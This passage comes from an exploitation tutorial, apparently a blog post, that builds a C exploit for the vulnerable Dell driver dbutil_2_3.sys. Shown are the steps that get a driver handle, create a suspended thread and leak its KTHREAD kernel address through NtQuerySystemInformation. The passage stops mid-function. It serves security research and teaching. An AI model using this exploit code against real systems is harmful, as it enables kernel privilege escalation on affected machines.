<p>After obtaining the handle, we then can setup our “dummy thread” by creating a thread in a <em>suspended</em> state. This is the thread we will perform our exploit work in. This can be achieved via <code class="language-plaintext highlighter-rouge">CreateThread</code> (again, the key here is to create this thread in a <em>suspended</em> state. More on this later).</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
 * @brief Function used to create a "dummy thread"
 *
 * This function creates a "dummy thread" that is suspended.
 * This allows us to leak the kernel-mode stack of this thread.
 *
 * @param Void.
 * @return A handle to the "dummy thread"
 */</span>
<span class="n">HANDLE</span> <span class="nf">createdummyThread</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Invoke CreateThread</span>
	<span class="c1">//</span>
	<span class="n">HANDLE</span> <span class="n">dummyThread</span> <span class="o">=</span> <span class="n">CreateThread</span><span class="p">(</span>
		<span class="nb">NULL</span><span class="p">,</span>
		<span class="mi">0</span><span class="p">,</span>
		<span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">randomFunction</span><span class="p">,</span>
		<span class="nb">NULL</span><span class="p">,</span>
		<span class="n">CREATE_SUSPENDED</span><span class="p">,</span>
		<span class="nb">NULL</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">dummyThread</span> <span class="o">==</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">else</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Return the handle to the thread</span>
		<span class="c1">//</span>
		<span class="k">return</span> <span class="n">dummyThread</span><span class="p">;</span>
	<span class="p">}</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Return an invalid handle</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>You’ll see that our <code class="language-plaintext highlighter-rouge">createdummyThread</code> function returns a handle to the “dummy thread”. Notice that the <code class="language-plaintext highlighter-rouge">LPTHREAD_START_ROUTINE</code> for the thread goes to <code class="language-plaintext highlighter-rouge">randomFunction</code>, which we also can define. This thread will never actually execute this function via its entry point, so we will just supply a simple function which does “nothing”.</p>

<p><img src="/images/HVCI21.png" alt="" /></p>

<p>We then can call <code class="language-plaintext highlighter-rouge">createdummyThread</code> within <code class="language-plaintext highlighter-rouge">main()</code> to execute the call. This will create our “dummy thread”.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Invoke getHandle() to get a handle to dbutil_2_3.sys</span>
	<span class="c1">//</span>
	<span class="n">HANDLE</span> <span class="n">driverHandle</span> <span class="o">=</span> <span class="n">getHandle</span><span class="p">();</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">driverHandle</span> <span class="o">==</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">driverHandle</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Invoke getthreadHandle() to create our "dummy thread"</span>
	<span class="c1">//</span>
	<span class="n">HANDLE</span> <span class="n">getthreadHandle</span> <span class="o">=</span> <span class="n">createdummyThread</span><span class="p">();</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">getthreadHandle</span> <span class="o">==</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Couldn't create the </span><span class="se">\"</span><span class="s">dummy thread</span><span class="se">\"</span><span class="s">. Error: 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Created the </span><span class="se">\"</span><span class="s">dummy thread</span><span class="se">\"</span><span class="s">!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Return an error</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now we have a thread that is running in a suspended state and a handle to the driver.</p>

<p><img src="/images/HVCI22.png" alt="" /></p>

<p>Since we have a suspended thread running now, the goal currently is to leak the <code class="language-plaintext highlighter-rouge">KTHREAD</code> object associated with this thread, which is the kernel-mode representation of the thread. We can achieve this by invoking <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code>. The first thing we need to do is add the structures required by <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code> and then prototype this function, as we will need to resolve it via <code class="language-plaintext highlighter-rouge">GetProcAddress</code>. For this I just add a header file named <code class="language-plaintext highlighter-rouge">ntdll.h</code> - which will contain this prototype (and more structures coming up shortly).</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;Psapi.h&gt;</span><span class="cp">
</span>
<span class="k">typedef</span> <span class="k">enum</span> <span class="n">_SYSTEM_INFORMATION_CLASS</span>
<span class="p">{</span>
    <span class="n">SystemBasicInformation</span><span class="p">,</span>
    <span class="n">SystemProcessorInformation</span><span class="p">,</span>
    <span class="n">SystemPerformanceInformation</span><span class="p">,</span>
    <span class="n">SystemTimeOfDayInformation</span><span class="p">,</span>
    <span class="n">SystemPathInformation</span><span class="p">,</span>
    <span class="n">SystemProcessInformation</span><span class="p">,</span>
    <span class="n">SystemCallCountInformation</span><span class="p">,</span>
    <span class="n">SystemDeviceInformation</span><span class="p">,</span>
    <span class="n">SystemProcessorPerformanceInformation</span><span class="p">,</span>
    <span class="n">SystemFlagsInformation</span><span class="p">,</span>
    <span class="n">SystemCallTimeInformation</span><span class="p">,</span>
    <span class="n">SystemModuleInformation</span><span class="p">,</span>
    <span class="n">SystemLocksInformation</span><span class="p">,</span>
    <span class="n">SystemStackTraceInformation</span><span class="p">,</span>
    <span class="n">SystemPagedPoolInformation</span><span class="p">,</span>
    <span class="n">SystemNonPagedPoolInformation</span><span class="p">,</span>
    <span class="n">SystemHandleInformation</span><span class="p">,</span>
    <span class="n">SystemObjectInformation</span><span class="p">,</span>
    <span class="n">SystemPageFileInformation</span><span class="p">,</span>
    <span class="n">SystemVdmInstemulInformation</span><span class="p">,</span>
    <span class="n">SystemVdmBopInformation</span><span class="p">,</span>
    <span class="n">SystemFileCacheInformation</span><span class="p">,</span>
    <span class="n">SystemPoolTagInformation</span><span class="p">,</span>
    <span class="n">SystemInterruptInformation</span><span class="p">,</span>
    <span class="n">SystemDpcBehaviorInformation</span><span class="p">,</span>
    <span class="n">SystemFullMemoryInformation</span><span class="p">,</span>
    <span class="n">SystemLoadGdiDriverInformation</span><span class="p">,</span>
    <span class="n">SystemUnloadGdiDriverInformation</span><span class="p">,</span>
    <span class="n">SystemTimeAdjustmentInformation</span><span class="p">,</span>
    <span class="n">SystemSummaryMemoryInformation</span><span class="p">,</span>
    <span class="n">SystemMirrorMemoryInformation</span><span class="p">,</span>
    <span class="n">SystemPerformanceTraceInformation</span><span class="p">,</span>
    <span class="n">SystemObsolete0</span><span class="p">,</span>
    <span class="n">SystemExceptionInformation</span><span class="p">,</span>
    <span class="n">SystemCrashDumpStateInformation</span><span class="p">,</span>
    <span class="n">SystemKernelDebuggerInformation</span><span class="p">,</span>
    <span class="n">SystemContextSwitchInformation</span><span class="p">,</span>
    <span class="n">SystemRegistryQuotaInformation</span><span class="p">,</span>
    <span class="n">SystemExtendServiceTableInformation</span><span class="p">,</span>
    <span class="n">SystemPrioritySeperation</span><span class="p">,</span>
    <span class="n">SystemVerifierAddDriverInformation</span><span class="p">,</span>
    <span class="n">SystemVerifierRemoveDriverInformation</span><span class="p">,</span>
    <span class="n">SystemProcessorIdleInformation</span><span class="p">,</span>
    <span class="n">SystemLegacyDriverInformation</span><span class="p">,</span>
    <span class="n">SystemCurrentTimeZoneInformation</span><span class="p">,</span>
    <span class="n">SystemLookasideInformation</span><span class="p">,</span>
    <span class="n">SystemTimeSlipNotification</span><span class="p">,</span>
    <span class="n">SystemSessionCreate</span><span class="p">,</span>
    <span class="n">SystemSessionDetach</span><span class="p">,</span>
    <span class="n">SystemSessionInformation</span><span class="p">,</span>
    <span class="n">SystemRangeStartInformation</span><span class="p">,</span>
    <span class="n">SystemVerifierInformation</span><span class="p">,</span>
    <span class="n">SystemVerifierThunkExtend</span><span class="p">,</span>
    <span class="n">SystemSessionProcessInformation</span><span class="p">,</span>
    <span class="n">SystemLoadGdiDriverInSystemSpace</span><span class="p">,</span>
    <span class="n">SystemNumaProcessorMap</span><span class="p">,</span>
    <span class="n">SystemPrefetcherInformation</span><span class="p">,</span>
    <span class="n">SystemExtendedProcessInformation</span><span class="p">,</span>
    <span class="n">SystemRecommendedSharedDataAlignment</span><span class="p">,</span>
    <span class="n">SystemComPlusPackage</span><span class="p">,</span>
    <span class="n">SystemNumaAvailableMemory</span><span class="p">,</span>
    <span class="n">SystemProcessorPowerInformation</span><span class="p">,</span>
    <span class="n">SystemEmulationBasicInformation</span><span class="p">,</span>
    <span class="n">SystemEmulationProcessorInformation</span><span class="p">,</span>
    <span class="n">SystemExtendedHandleInformation</span><span class="p">,</span>
    <span class="n">SystemLostDelayedWriteInformation</span><span class="p">,</span>
    <span class="n">SystemBigPoolInformation</span><span class="p">,</span>
    <span class="n">SystemSessionPoolTagInformation</span><span class="p">,</span>
    <span class="n">SystemSessionMappedViewInformation</span><span class="p">,</span>
    <span class="n">SystemHotpatchInformation</span><span class="p">,</span>
    <span class="n">SystemObjectSecurityMode</span><span class="p">,</span>
    <span class="n">SystemWatchdogTimerHandler</span><span class="p">,</span>
    <span class="n">SystemWatchdogTimerInformation</span><span class="p">,</span>
    <span class="n">SystemLogicalProcessorInformation</span><span class="p">,</span>
    <span class="n">SystemWow64SharedInformation</span><span class="p">,</span>
    <span class="n">SystemRegisterFirmwareTableInformationHandler</span><span class="p">,</span>
    <span class="n">SystemFirmwareTableInformation</span><span class="p">,</span>
    <span class="n">SystemModuleInformationEx</span><span class="p">,</span>
    <span class="n">SystemVerifierTriageInformation</span><span class="p">,</span>
    <span class="n">SystemSuperfetchInformation</span><span class="p">,</span>
    <span class="n">SystemMemoryListInformation</span><span class="p">,</span>
    <span class="n">SystemFileCacheInformationEx</span><span class="p">,</span>
    <span class="n">MaxSystemInfoClass</span>

<span class="p">}</span> <span class="n">SYSTEM_INFORMATION_CLASS</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">_SYSTEM_MODULE</span> <span class="p">{</span>
    <span class="n">ULONG</span>                <span class="n">Reserved1</span><span class="p">;</span>
    <span class="n">ULONG</span>                <span class="n">Reserved2</span><span class="p">;</span>
    <span class="n">PVOID</span>                <span class="n">ImageBaseAddress</span><span class="p">;</span>
    <span class="n">ULONG</span>                <span class="n">ImageSize</span><span class="p">;</span>
    <span class="n">ULONG</span>                <span class="n">Flags</span><span class="p">;</span>
    <span class="n">WORD</span>                 <span class="n">Id</span><span class="p">;</span>
    <span class="n">WORD</span>                 <span class="n">Rank</span><span class="p">;</span>
    <span class="n">WORD</span>                 <span class="n">w018</span><span class="p">;</span>
    <span class="n">WORD</span>                 <span class="n">NameOffset</span><span class="p">;</span>
    <span class="n">BYTE</span>                 <span class="n">Name</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
<span class="p">}</span> <span class="n">SYSTEM_MODULE</span><span class="p">,</span> <span class="o">*</span> <span class="n">PSYSTEM_MODULE</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">SYSTEM_MODULE_INFORMATION</span> <span class="p">{</span>
    <span class="n">ULONG</span>                <span class="n">ModulesCount</span><span class="p">;</span>
    <span class="n">SYSTEM_MODULE</span>        <span class="n">Modules</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="p">}</span> <span class="n">SYSTEM_MODULE_INFORMATION</span><span class="p">,</span> <span class="o">*</span> <span class="n">PSYSTEM_MODULE_INFORMATION</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">_SYSTEM_HANDLE_TABLE_ENTRY_INFO</span>
<span class="p">{</span>
    <span class="n">ULONG</span> <span class="n">ProcessId</span><span class="p">;</span>
    <span class="n">UCHAR</span> <span class="n">ObjectTypeNumber</span><span class="p">;</span>
    <span class="n">UCHAR</span> <span class="n">Flags</span><span class="p">;</span>
    <span class="n">USHORT</span> <span class="n">Handle</span><span class="p">;</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">Object</span><span class="p">;</span>
    <span class="n">ACCESS_MASK</span> <span class="n">GrantedAccess</span><span class="p">;</span>
<span class="p">}</span> <span class="n">SYSTEM_HANDLE</span><span class="p">,</span> <span class="o">*</span> <span class="n">PSYSTEM_HANDLE</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">_SYSTEM_HANDLE_INFORMATION</span>
<span class="p">{</span>
    <span class="n">ULONG</span> <span class="n">NumberOfHandles</span><span class="p">;</span>
    <span class="n">SYSTEM_HANDLE</span> <span class="n">Handles</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="p">}</span> <span class="n">SYSTEM_HANDLE_INFORMATION</span><span class="p">,</span> <span class="o">*</span> <span class="n">PSYSTEM_HANDLE_INFORMATION</span><span class="p">;</span>

<span class="c1">// Prototype for ntdll!NtQuerySystemInformation</span>
<span class="k">typedef</span> <span class="nf">NTSTATUS</span><span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span> <span class="n">NtQuerySystemInformation_t</span><span class="p">)(</span><span class="n">SYSTEM_INFORMATION_CLASS</span> <span class="n">SystemInformationClass</span><span class="p">,</span> <span class="n">PVOID</span> <span class="n">SystemInformation</span><span class="p">,</span> <span class="n">ULONG</span> <span class="n">SystemInformationLength</span><span class="p">,</span> <span class="n">PULONG</span> <span class="n">ReturnLength</span><span class="p">);</span>
</code></pre></div></div>

<p>Invoking <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code> is a mechanism that allows us to leak the <code class="language-plaintext highlighter-rouge">KTHREAD</code> object - so we will not go over each of these structures in-depth. However, it is worthwhile to talk about <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code> itself.</p>

<p><code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code> is a function which can be invoked from a medium-integrity process. More specifically there are specific “classes” from the <code class="language-plaintext highlighter-rouge">SYSTEM_INFORMATION_CLASS</code> enum that <em>aren’t</em> available to low-integrity or <code class="language-plaintext highlighter-rouge">AppContainer</code> processes - such as browser sandboxes. So, in this case, you would need a genuine information leak. However, since we are assuming medium integrity (this is the default integrity level Windows processes use), we will leverage <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code>.</p>

<p>We first create a function which resolves <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
 * @brief Function to resolve ntdll!NtQuerySystemInformation.
 *
 * This function is used to resolve ntdll!NtQuerySystemInformation.
 * ntdll!NtQuerySystemInformation allows us to leak kernel-mode
 * memory, useful to our exploit, to user mode from a medium
 * integrity process.
 *
 * @param Void.
 * @return A pointer to ntdll!NtQuerySystemInformation.

 */</span>
<span class="n">NtQuerySystemInformation_t</span> <span class="nf">resolveFunc</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Obtain a handle to ntdll.dll (where NtQuerySystemInformation lives)</span>
	<span class="c1">//</span>
	<span class="n">HMODULE</span> <span class="n">ntdllHandle</span> <span class="o">=</span> <span class="n">GetModuleHandleW</span><span class="p">(</span><span class="s">L"ntdll.dll"</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">ntdllHandle</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">// Bail out</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Resolve ntdll!NtQuerySystemInformation</span>
	<span class="c1">//</span>
	<span class="n">NtQuerySystemInformation_t</span> <span class="n">func</span> <span class="o">=</span> <span class="p">(</span><span class="n">NtQuerySystemInformation_t</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span>
		<span class="n">ntdllHandle</span><span class="p">,</span>
		<span class="s">"NtQuerySystemInformation"</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">func</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">else</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[+] ntdll!NtQuerySystemInformation: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">func</span><span class="p">);</span>

		<span class="c1">//</span>
		<span class="c1">// Return the address</span>
		<span class="c1">//</span>
		<span class="k">return</span> <span class="n">func</span><span class="p">;</span>
	<span class="p">}</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Return an error</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">NtQuerySystemInformation_t</span><span class="p">)</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>After resolving the function, we can add a function which contains our “logic” for leaking the <code class="language-plaintext highlighter-rouge">KTHREAD</code> object associated with our “dummy thread”. This function will call <code class="language-plaintext highlighter-rouge">leakKTHREAD</code> - which accepts a parameter, which is the thread for which we want to leak the object (in this case it is our “dummy thread”). This is done by leveraging the <code class="language-plaintext highlighter-rouge">SystemHandleInformation</code> class (which is blocked from low-integrity processes). From here we can enumerate all handles that are thread objects on the system. Specifically, we check all thread objects in our current process for the handle of our “dummy thread”.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
 * @brief Function used to leak the KTHREAD object
 *
 * This function leverages NtQuerySystemInformation (by
 * calling resolveFunc() to get NtQuerySystemInformation's
 * location in memory) to leak the KTHREAD object associated
 * with our previously created "dummy thread"
 *
 * @param dummythreadHandle - A handle to the "dummy thread"
 * @return A pointer to the KTHREAD object
 */</span>
<span class="n">ULONG64</span> <span class="nf">leakKTHREAD</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">dummythreadHandle</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Set the NtQuerySystemInformation return value to STATUS_INFO_LENGTH_MISMATCH for call to NtQuerySystemInformation</span>
	<span class="c1">//</span>
	<span class="n">NTSTATUS</span> <span class="n">retValue</span> <span class="o">=</span> <span class="n">STATUS_INFO_LENGTH_MISMATCH</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Resolve ntdll!NtQuerySystemInformation</span>
	<span class="c1">//</span>
	<span class="n">NtQuerySystemInformation_t</span> <span class="n">NtQuerySystemInformation</span> <span class="o">=</span> <span class="n">resolveFunc</span><span class="p">();</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">NtQuerySystemInformation</span> <span class="o">==</span> <span class="p">(</span><span class="n">NtQuerySystemInformation_t</span><span class="p">)</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Unable to resolve ntdll!NtQuerySystemInformation. Error: 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Set size to 1 and loop the call until we reach the needed size</span>
	<span class="c1">//</span>
	<span class="kt">int</span> <span class="n">size</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Output size</span>
	<span class="c1">//</span>
	<span class="kt">int</span> <span class="n">outSize</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Output buffer</span>
	<span class="c1">//</span>
	<span class="n">PSYSTEM_HANDLE_INFORMATION</span> <span class="n">out</span> <span class="o">=</span> <span class="p">(</span><span class="n">PSYSTEM_HANDLE_INFORMATION</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">out</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// do/while to allocate enough memory necessary for NtQuerySystemInformation</span>
	<span class="c1">//</span>
	<span class="k">do</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Free the previous memory</span>
		<span class="c1">//</span>
		<span class="n">free</span><span class="p">(</span><span class="n">out</span><span class="p">);</span>

		<span class="c1">//</span>
		<span class="c1">// Increment the size</span>
		<span class="c1">//</span>
		<span class="n">size</span> <span class="o">=</span> <span class="n">size</span> <span class="o">*</span> <span class="mi">2</span><span class="p">;</span>

		<span class="c1">//</span>
		<span class="c1">// Allocate more memory with the updated size</span>
		<span class="c1">//</span>
		<span class="n">out</span> <span class="o">=</span> <span class="p">(</span><span class="n">PSYSTEM_HANDLE_INFORMATION</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>

		<span class="c1">//</span>
		<span class="c1">// Error handling</span>
		<span class="c1">//</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">out</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="c1">//</span>
			<span class="c1">// Bail out</span>
			<span class="c1">//</span>
			<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
		<span class="p">}</span>

		<span class="c1">//</span>
		<span class="c1">// Invoke NtQuerySystemInformation</span>
		<span class="c1">//</span>
		<span class="n">retValue</span> <span class="o">=</span> <span class="n">NtQuerySystemInformation</span><span class="p">(</span>
			<span class="n">SystemHandleInformation</span><span class="p">,</span>
			<span class="n">out</span><span class="p">,</span>
			<span class="p">(</span><span class="n">ULONG</span><span class="p">)</span><span class="n">size</span><span class="p">,</span>
			<span class="o">&amp;</span><span class="n">outSize</span>
		<span class="p">);</span>
	<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">retValue</span> <span class="o">==</span> <span class="n">STATUS_INFO_LENGTH_MISMATCH</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Verify the NTSTATUS code which broke the loop is STATUS_SUCCESS</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">retValue</span> <span class="o">!=</span> <span class="n">STATUS_SUCCESS</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Is out == NULL? If so, malloc failed and we can't free this memory</span>
		<span class="c1">// If it is NOT NULL, we can assume this memory is allocated. Free</span>
		<span class="c1">// it accordingly</span>
		<span class="c1">//</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">out</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="c1">//</span>
			<span class="c1">// Free the memory</span>
			<span class="c1">//</span>
			<span class="n">free</span><span class="p">(</span><span class="n">out</span><span class="p">);</span>

			<span class="c1">//</span>
			<span class="c1">// Bail out</span>
			<span class="c1">//</span>
			<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
		<span class="p">}</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">else</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// NtQuerySystemInformation should have succeeded</span>
		<span class="c1">// Parse all of the handles, find the current thread handle, and leak the corresponding object</span>
		<span class="c1">//</span>
		<span class="k">for</span> <span class="p">(</span><span class="n">ULONG</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">out</span><span class="o">-&gt;</span><span class="n">NumberOfHandles</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="c1">//</span>
			<span class="c1">// Store the current object's type number</span>
			<span class="c1">// Thread object = 0x8</span>
			<span class="c1">//</span>
			<span class="n">DWORD</span> <span class="n">objectType</span> <span class="o">=</span> <span class="n">out</span><span class="o">-&gt;</span><span class="n">Handles</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">ObjectTypeNumber</span><span class="p">;</span>

			<span class="c1">//</span>
			<span class="c1">// Are we dealing with a handle from the current process?</span>
			<span class="c1">//</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">out</span><span class="o">-&gt;</span><span class="n">Handles</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">ProcessId</span> <span class="o">==</span> <span class="n">GetCurrentProcessId</span><span class="p">())</span>
			<span class="p">{</span>
				<span class="c1">//</span>
				<span class="c1">// Is the handle the handle of the "dummy" thread we created?</span>
				<span class="c1">//</span>
				<span class="k">if</span> <span class="p">(</span><span class="n">dummythreadHandle</span> <span class="o">==</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="n">out</span><span class="o">-&gt;</span><span class="n">Handles</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">Handle</span><span class="p">)</span>
				<span class="p">{</span>
					<span class="c1">//</span>
					<span class="c1">// Grab the actual KTHREAD object corresponding to the current thread</span>
					<span class="c1">//</span>
					<span class="n">ULONG64</span> <span class="n">kthreadObject</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="n">out</span><span class="o">-&gt;</span><span class="n">Handles</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">Object</span><span class="p">;</span>

					<span class="c1">//</span>
					<span class="c1">// Free the memory</span>
					<span class="c1">//</span>
					<span class="n">free</span><span class="p">(</span><span class="n">out</span><span class="p">);</span>

					<span class="c1">//</span>
					<span class="c1">// Return the KTHREAD object</span>
					<span class="c1">//</span>
					<span class="k">return</span> <span class="n">kthreadObject</span><span class="p">;</span>
				<span class="p">}</span>
			<span class="p">}</span>
		<span class="p">}</span>
